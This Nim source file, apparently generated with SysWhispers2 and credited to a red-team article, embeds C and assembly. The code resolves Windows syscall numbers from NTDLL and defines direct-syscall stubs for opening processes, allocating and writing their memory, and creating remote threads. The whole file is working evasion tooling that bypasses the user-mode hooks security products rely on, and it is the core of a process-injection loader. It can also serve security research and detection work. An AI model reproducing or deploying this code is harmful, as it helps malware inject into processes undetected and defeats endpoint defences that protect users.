{.passC:"-masm=intel".} {.emit: """ #pragma once // Code below is adapted from @modexpblog. Read linked article for more details. // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams #ifndef SW2_HEADER_H_ #define SW2_HEADER_H_ #include #define SW2_SEED 0x24B0D429 #define SW2_ROL8(v) (v << 8 | v >> 24) #define SW2_ROR8(v) (v >> 8 | v << 24) #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) #define SW2_MAX_ENTRIES 500 #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) // Typedefs are prefixed to avoid pollution. typedef struct _SW2_SYSCALL_ENTRY { DWORD Hash; DWORD Address; } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; typedef struct _SW2_SYSCALL_LIST { DWORD Count; SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; typedef struct _SW2_PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; typedef struct _SW2_LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; typedef struct _SW2_PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PSW2_PEB_LDR_DATA Ldr; } SW2_PEB, *PSW2_PEB; DWORD SW2_HashSyscall(PCSTR FunctionName); BOOL SW2_PopulateSyscallList(); EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); #endif // Code below is adapted from @modexpblog. Read linked article for more details. // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams SW2_SYSCALL_LIST SW2_SyscallList = {0,1}; DWORD SW2_HashSyscall(PCSTR FunctionName) { DWORD i = 0; DWORD Hash = SW2_SEED; while (FunctionName[i]) { WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); Hash ^= PartialName + SW2_ROR8(Hash); } return Hash; } BOOL SW2_PopulateSyscallList() { // Return early if the list is already populated. if (SW2_SyscallList.Count) return TRUE; PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; PVOID DllBase = NULL; // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second // in the list, so it's safer to loop through the full list and find it. PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) { DllBase = LdrEntry->DllBase; PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (VirtualAddress == 0) continue; ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); // If this is NTDLL.dll, exit loop. PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; } if (!ExportDirectory) return FALSE; DWORD NumberOfNames = ExportDirectory->NumberOfNames; PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); // Populate SW2_SyscallList with unsorted Zw* entries. DWORD i = 0; PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; do { PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); // Is this a system call? if (*(USHORT*)FunctionName == 'wZ') { Entries[i].Hash = SW2_HashSyscall(FunctionName); Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; i++; if (i == SW2_MAX_ENTRIES) break; } } while (--NumberOfNames); // Save total number of system calls found. SW2_SyscallList.Count = i; // Sort the list by address in ascending order. for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) { for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) { if (Entries[j].Address > Entries[j + 1].Address) { // Swap entries. SW2_SYSCALL_ENTRY TempEntry; TempEntry.Hash = Entries[j].Hash; TempEntry.Address = Entries[j].Address; Entries[j].Hash = Entries[j + 1].Hash; Entries[j].Address = Entries[j + 1].Address; Entries[j + 1].Hash = TempEntry.Hash; Entries[j + 1].Address = TempEntry.Address; } } } return TRUE; } EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) { // Ensure SW2_SyscallList is populated. if (!SW2_PopulateSyscallList()) return -1; for (DWORD i = 0; i < SW2_SyscallList.Count; i++) { if (FunctionHash == SW2_SyscallList.Entries[i].Hash) { return i; } } return -1; } """.} type PS_ATTR_UNION* {.pure, union.} = object Value*: ULONG ValuePtr*: PVOID PS_ATTRIBUTE* {.pure.} = object Attribute*: ULONG Size*: SIZE_T u1*: PS_ATTR_UNION ReturnLength*: PSIZE_T PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE PS_ATTRIBUTE_LIST* {.pure.} = object TotalLength*: SIZE_T Attributes*: array[2, PS_ATTRIBUTE] PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST proc NtResumeThread*(ThreadHandle: HANDLE, PreviousSuspendCount: PULONG): NTSTATUS {.asmNoStackFrame.} = asm """ mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 0x28 mov ecx, 0x0AE8D30BF call SW2_GetSyscallNumber add rsp, 0x28 mov rcx, [rsp +8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ret """ proc NtAllocateVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} = asm """ mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 0x28 mov ecx, 0x00D911713 call SW2_GetSyscallNumber add rsp, 0x28 mov rcx, [rsp +8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ret """ proc NtClose*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} = asm """ mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 0x28 mov ecx, 0x01C8CF401 call SW2_GetSyscallNumber add rsp, 0x28 mov rcx, [rsp +8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ret """ proc NtCreateThreadEx*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} = asm """ mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 0x28 mov ecx, 0x0052A5BEC call SW2_GetSyscallNumber add rsp, 0x28 mov rcx, [rsp +8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ret """ proc NtOpenProcess*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} = asm """ mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 0x28 mov ecx, 0x0C852CFDB call SW2_GetSyscallNumber add rsp, 0x28 mov rcx, [rsp +8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ret """ proc NtWriteVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} = asm """ mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 0x28 mov ecx, 0x0066D1ACB call SW2_GetSyscallNumber add rsp, 0x28 mov rcx, [rsp +8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ret """